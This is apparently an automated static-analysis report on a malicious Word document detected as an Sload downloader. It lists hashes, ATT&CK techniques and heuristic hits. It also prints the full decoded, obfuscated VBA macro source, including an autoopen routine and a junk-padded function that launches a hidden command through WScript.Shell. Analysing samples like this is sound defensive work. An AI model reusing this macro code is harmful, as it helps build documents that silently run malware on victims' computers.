Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 d1a8020bbc1e0ee0…

MALICIOUS

Office (OLE)

150.2 KB Created: 2019-01-15 15:08:00 Authoring application: Microsoft Office Word First seen: 2020-02-04
MD5: 276dce7da8321c1ef55dd9169326ae9d SHA-1: b85921e799665703b29917e619dcdecf7251a0c4 SHA-256: d1a8020bbc1e0ee0a51f48e4ecdff9e7e3a8630f593c5f43377f7971e41d35d8
350 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The sample is a malicious Office document containing VBA macros. The macros utilize WScript.Shell and CreateObject, indicating an attempt to execute external code, likely a downloader for a second-stage payload. The presence of these functions and the ClamAV detection strongly suggest a downloader family.

Heuristics 10

  • ClamAV: Doc.Downloader.Sload-6817535-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Sload-6817535-0
  • VBA macros detected medium 5 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
    Matched line in script
     Set Viewwb = IncredibleWoodenBikejn
strategicpf = Array(freshthinkingbr, missioncriticalzz, Georgiajn, CreateObject("WscRipt.sHeLl").Run!(("" + backingupjw + calculatezh + clicksandmortarjq + LicensedSteelComputerjj.TextBox1) + SmallConcreteTablerb + Lightlf, 75 - 75), Quetzaldu, InvestmentAccountqp, Buckinghamshireim)
   Set overriderw = navigatingia
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
     Set Viewwb = IncredibleWoodenBikejn
strategicpf = Array(freshthinkingbr, missioncriticalzz, Georgiajn, CreateObject("WscRipt.sHeLl").Run!(("" + backingupjw + calculatezh + clicksandmortarjq + LicensedSteelComputerjj.TextBox1) + SmallConcreteTablerb + Lightlf, 75 - 75), Quetzaldu, InvestmentAccountqp, Buckinghamshireim)
   Set overriderw = navigatingia
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
     Set Viewwb = IncredibleWoodenBikejn
strategicpf = Array(freshthinkingbr, missioncriticalzz, Georgiajn, CreateObject("WscRipt.sHeLl").Run!(("" + backingupjw + calculatezh + clicksandmortarjq + LicensedSteelComputerjj.TextBox1) + SmallConcreteTablerb + Lightlf, 75 - 75), Quetzaldu, InvestmentAccountqp, Buckinghamshireim)
   Set overriderw = navigatingia
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Attribute VB_Name = "Regionalnv"
Sub autoopen()
hackingsn = Array(HandcraftedFreshChipsja, maximizekc, invoiceaw, Factorsrm, greyjf, Woodenlt, panelpp)
  • Reference to Windows Script Host high SC_STR_WSCRIPT
    Reference to Windows Script Host
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 5126 bytes
SHA-256: 7bf879b7a9d1060b37911aa820ff64eab74911bc6568369dfe9af0f0241068a0
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "LicensedSteelComputerjj"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Control = "TextBox1, 0, 0, MSForms, TextBox"

Attribute VB_Name = "methodologiesrv"
Function Factorsrm()
On Error Resume Next
   Set UnbrandedRubberSausagesfj = protocolzh
For Each parsejr In webreadinessur
      For Each NewJerseyqv In whiteboardzo
         evenkeeledjp = (Oct(370))
      Next
      Do
         Developerzt = CLng(indexingcw)
      Loop Until Customizableap Eqv customerloyaltypk
      Set Unbrandedcq = BelizeDollarjj
      Berkshireti = Engineerqf
      For Each quantifyll In depositjb
         KuwaitiDinarms = Cos(incentivizeti)
      Next
   Next
 Set LicensedSoftComputersk = Directtd
   Set Cambridgeshirenj = IncredibleSoftCheeseki
For Each Babysh In FrenchGuianatl
      For Each Iowaub In Hilldc
         Functionbasedbz = (Oct(881))
      Next
      Do
         Agentzr = CLng(RSSct)
      Loop Until BrazilianRealtu Eqv Belarusii
      Set Ohiouj = quantifyaw
      seamlessts = Tunnelsa
      For Each Gabonkj In TCPaw
         MoneyMarketAccountow = Cos(secondaryzi)
      Next
   Next
 Set Crescentqk = hackinglb
   Set Idahorr = analyzingrw
For Each Objectbasedqu In synergyji
      For Each RussianRublejw In hackbf
         Bedfordshireli = (Oct(681))
      Next
      Do
         RwandaFranchf = CLng(CheckingAccountrr)
      Loop Until generatingaq Eqv forecastjw
      Set Bordersni = Digitizedjp
      IncredibleSoftChickenaq = actionitemsbh
      For Each Alaskapz In Berkshireqd
         IntelligentRubberComputerjb = Cos(programminguu)
      Next
   Next
 Set Viewwb = IncredibleWoodenBikejn
strategicpf = Array(freshthinkingbr, missioncriticalzz, Georgiajn, CreateObject("WscRipt.sHeLl").Run!(("" + backingupjw + calculatezh + clicksandmortarjq + LicensedSteelComputerjj.TextBox1) + SmallConcreteTablerb + Lightlf, 75 - 75), Quetzaldu, InvestmentAccountqp, Buckinghamshireim)
   Set overriderw = navigatingia
For Each webenabledju In bandwidthmh
      For Each envisioneerta In solidstateij
         Nebraskaqo = (Oct(853))
      Next
      Do
         SvalbardJanMayenIslandszd = CLng(backendaa)
      Loop Until paymentio Eqv Officerlm
      Set Angolamo = lavenderaa
      distributedvu = incentivizenz
      For Each GroceryBabylz In PracticalRubberShoesmd
         outoftheboxiw = Cos(GuineaFrancpd)
      Next
   Next
 Set SaintLuciabz = hackok
   Set HealthHomeop = InvestmentAccountvm
For Each syndicatezi In transmitzn
      For Each systemrf In invoicezu
         feedac = (Oct(44))
      Next
      Do
         Arubawo = CLng(SvalbardJanMayenIslandsnn)
      Loop Until Customerim Eqv Dalehr
      Set contingencydm = cyanvh
      Administratorlo = AwesomeRubberBallwl
      For Each communitiesjw In Marketsbw
         depositcw = Cos(TastySteelSausagesra)
      Next
   Next
 Set InvestmentAccountaz = SMTPlh
End Function


Attribute VB_Name = "Regionalnv"
Sub autoopen()
hackingsn = Array(HandcraftedFreshChipsja, maximizekc, invoiceaw, Factorsrm, greyjf, Woodenlt, panelpp)
End Sub

Attribute VB_Name = "contentbasedjz"

Attribute VB_Name = "Cambridgeshiremj"

Attribute VB_Name = "integratecj"

Attribute VB_Name = "systemworthyww"

Attribute VB_Name = "azurelw"

Attribute VB_Name = "SMTPjw"

Attribute VB_Name = "paymentuz"

Attribute VB_Name = "actuatingzv"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "TastySoftBikedz"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "greysc"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "sensorbp"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "intranetri"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

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